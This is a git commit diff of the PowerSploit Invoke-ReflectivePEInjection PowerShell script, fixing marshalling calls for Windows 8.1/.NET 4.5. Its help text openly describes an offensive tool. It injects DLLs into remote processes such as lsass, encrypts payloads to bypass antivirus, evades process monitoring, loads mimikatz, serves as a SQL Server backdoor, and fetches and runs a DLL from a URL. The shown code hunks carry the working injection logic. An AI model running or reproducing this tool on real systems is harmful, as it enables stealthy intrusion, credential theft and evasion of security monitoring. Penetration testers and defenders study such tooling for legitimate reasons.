Fixes for Windows 8.1/.NET 4.5

.NET 4.5 introduced breaking changes in the way Marshalling works. Added
a fix so ReflectivePEInjection works with Windows 8.1/.NET4.5.
This commit is contained in:
clymb3r 2013-09-30 22:32:57 -07:00
parent 5e1f6ac29a
commit 1291abdae3
1 changed files with 2635 additions and 2653 deletions

View File

@ -3,19 +3,9 @@
<# <#
.SYNOPSIS .SYNOPSIS
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTS) for information on how to use them. please lead the Notes section (GENERAL NOTES) for information on how to use them.
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
@ -35,7 +25,19 @@ remote process.
While this script provides functionality to specify a file to load from disk or from a URL, these are more for demo purposes. The way I'd recommend using the script is to create a byte array While this script provides functionality to specify a file to load from disk or from a URL, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
bypass A/V. Another advantage is you won't be making web requests. bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
blog linked below (thanks to whitey).
PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: 1.0
.DESCRIPTION
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
.PARAMETER PEPath .PARAMETER PEPath
@ -55,6 +57,10 @@ Optional, the return type of the function being called in the DLL. Default: Void
Options: String, WString, Void. See notes for more information. Options: String, WString, Void. See notes for more information.
IMPORTANT: For DLLs being loaded remotely, only Void is supported. IMPORTANT: For DLLs being loaded remotely, only Void is supported.
.PARAMETER ExeArgs
Optional, arguments to pass to the executable being reflectively loaded.
.PARAMETER ProcName .PARAMETER ProcName
Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
@ -63,69 +69,45 @@ Optional, the name of the remote process to inject the DLL in to. If not injecti
Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
.PARAMETER ExeArgs
Optional, command-line arguments to pass to the exe.
.EXAMPLE .EXAMPLE
Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
Description
-----------
Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
Note that the file name on the website can be any file extension. Note that the file name on the website can be any file extension.
Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
.EXAMPLE .EXAMPLE
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
Description
-----------
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
.EXAMPLE .EXAMPLE
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
the wchar_t* returned by WStringFunc() from all the computers.
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
Description
-----------
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
the wchar_t* returned by WStringFunc() from all the computers.
.EXAMPLE .EXAMPLE
Load DemoEXE and run it locally.
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
Description
-----------
Load DemoEXE and run it locally.
.EXAMPLE .EXAMPLE
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
Description
-----------
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
.NOTES .NOTES
GENERAL NOTES: GENERAL NOTES:
The script has 3 basic sets of functionality: The script has 3 basic sets of functionality:
1.) Reflectively load a DLL in to the PowerShell process 1.) Reflectively load a DLL in to the PowerShell process
-Can return DLL output to user when run remotely or locally. -Can return DLL output to user when run remotely or locally.
-Cleans up memory in the PS process once the DLL finishes executing. -Cleans up memory in the PS process once the DLL finishes executing.
-Great for running pentest tools on remote computers without triggering process monitoring alerts. -Great for running pentest tools on remote computers without triggering process monitoring alerts.
-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
2.) Reflectively load an EXE in to the PowerShell process. 2.) Reflectively load an EXE in to the PowerShell process.
-Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
-Cleans up memory in the PS process once the DLL finishes executing. -Cleans up memory in the PS process once the DLL finishes executing.
-Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
3.) Reflectively inject a DLL in to a remote process. 3.) Reflectively inject a DLL in to a remote process.
-Can NOT return DLL output to the user when run remotely OR locally. -Can NOT return DLL output to the user when run remotely OR locally.
-Does NOT clean up memory in the remote process if/when DLL finishes execution. -Does NOT clean up memory in the remote process if/when DLL finishes execution.
@ -133,6 +115,7 @@ The script has 3 basic sets of functionality:
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
DLL LOADING NOTES: DLL LOADING NOTES:
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
@ -170,18 +153,17 @@ Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-Refl
.LINK .LINK
http://clymb3r.wordpress.com/ Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
Master Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
#> #>
[CmdletBinding(DefaultParameterSetName="WebFile")] [CmdletBinding(DefaultParameterSetName="WebFile")]
Param( Param(
[Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)]
[String] [String]
$PEPath, $PEPath,
@ -210,12 +192,12 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
[Parameter(Position = 5)] [Parameter(Position = 5)]
[String] [String]
$ProcName $ProcName
) )
Set-StrictMode -Version 2 Set-StrictMode -Version 2
$RemoteScriptBlock = { $RemoteScriptBlock = {
[CmdletBinding()] [CmdletBinding()]
Param( Param(
[Parameter(Position = 0, Mandatory = $true)] [Parameter(Position = 0, Mandatory = $true)]
@ -1067,18 +1049,18 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
} }
} }
[IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.LUID)) [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
$Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
if ($Result -eq $false) if ($Result -eq $false)
{ {
Throw "Unable to call LookupPrivilegeValue" Throw "Unable to call LookupPrivilegeValue"
} }
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.TOKEN_PRIVILEGES) [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
[IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, $Win32Types.TOKEN_PRIVILEGES) $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
$TokenPrivileges.PrivilegeCount = 1 $TokenPrivileges.PrivilegeCount = 1
$TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, $Win32Types.LUID) $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
$TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
[System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
@ -1159,12 +1141,12 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
$NtHeadersInfo = New-Object System.Object $NtHeadersInfo = New-Object System.Object
#Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
$dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, $Win32Types.IMAGE_DOS_HEADER) $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
#Get IMAGE_NT_HEADERS #Get IMAGE_NT_HEADERS
[IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
$imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, $Win32Types.IMAGE_NT_HEADERS64) $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
#Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
if ($imageNtHeaders64.Signature -ne 0x00004550) if ($imageNtHeaders64.Signature -ne 0x00004550)
@ -1179,7 +1161,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
} }
else else
{ {
$ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, $Win32Types.IMAGE_NT_HEADERS32) $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
} }
@ -1261,12 +1243,12 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
if ($PEInfo.PE64Bit -eq $true) if ($PEInfo.PE64Bit -eq $true)
{ {
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_NT_HEADERS64))) [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
} }
else else
{ {
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_NT_HEADERS32))) [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
} }
@ -1299,7 +1281,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
$ImportDllPathPtr $ImportDllPathPtr
) )
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
$DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
@ -1389,7 +1371,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
{ {
Throw "Call to ReadProcessMemory failed" Throw "Call to ReadProcessMemory failed"
} }
[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [IntPtr]) [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
@ -1435,7 +1417,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
$FunctionName $FunctionName
) )
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName)
#Write FunctionName to memory (will be used in GetProcAddress) #Write FunctionName to memory (will be used in GetProcAddress)
@ -1540,7 +1522,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
{ {
Throw "Call to ReadProcessMemory failed" Throw "Call to ReadProcessMemory failed"
} }
[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [IntPtr]) [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
@ -1572,8 +1554,8 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{ {
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_SECTION_HEADER))) [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, $Win32Types.IMAGE_SECTION_HEADER) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
#Address to copy the section to #Address to copy the section to
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
@ -1634,7 +1616,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
[Int64]$BaseDifference = 0 [Int64]$BaseDifference = 0
$AddDifference = $true #Track if the difference variable should be added or subtracted from variables $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
[UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_BASE_RELOCATION) [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
#If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
@ -1659,7 +1641,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
while($true) while($true)
{ {
#If SizeOfBlock == 0, we are done #If SizeOfBlock == 0, we are done
$BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, $Win32Types.IMAGE_BASE_RELOCATION) $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
if ($BaseRelocationTable.SizeOfBlock -eq 0) if ($BaseRelocationTable.SizeOfBlock -eq 0)
{ {
@ -1674,7 +1656,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
{ {
#Get info for this relocation #Get info for this relocation
$RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
[UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [UInt16]) [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
#First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
[UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
@ -1692,7 +1674,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
{ {
#Get the current memory address and update it based off the difference between PE expected base address and actual base address #Get the current memory address and update it based off the difference between PE expected base address and actual base address
[IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
[IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [IntPtr]) [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
if ($AddDifference -eq $true) if ($AddDifference -eq $true)
{ {
@ -1753,7 +1735,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
while ($true) while ($true)
{ {
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, $Win32Types.IMAGE_IMPORT_DESCRIPTOR) $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
#If the structure is null, it signals that this is the end of the array #If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 ` if ($ImportDescriptor.Characteristics -eq 0 `
@ -1787,7 +1769,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
#Get the first thunk, then loop through all of them #Get the first thunk, then loop through all of them
[IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [IntPtr]) [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
while ($OriginalThunkRefVal -ne [IntPtr]::Zero) while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
{ {
@ -1803,7 +1785,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
else else
{ {
[IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([UInt16])) $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
} }
@ -1823,12 +1805,12 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr])) $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr])) [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [IntPtr]) [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
} }
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_IMPORT_DESCRIPTOR)) $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
} }
} }
} }
@ -1923,8 +1905,8 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{ {
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_SECTION_HEADER))) [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, $Win32Types.IMAGE_SECTION_HEADER) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
[IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
[UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
@ -1969,7 +1951,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
#This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
$ReturnArray = @() $ReturnArray = @()
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
[UInt32]$OldProtectFlag = 0 [UInt32]$OldProtectFlag = 0
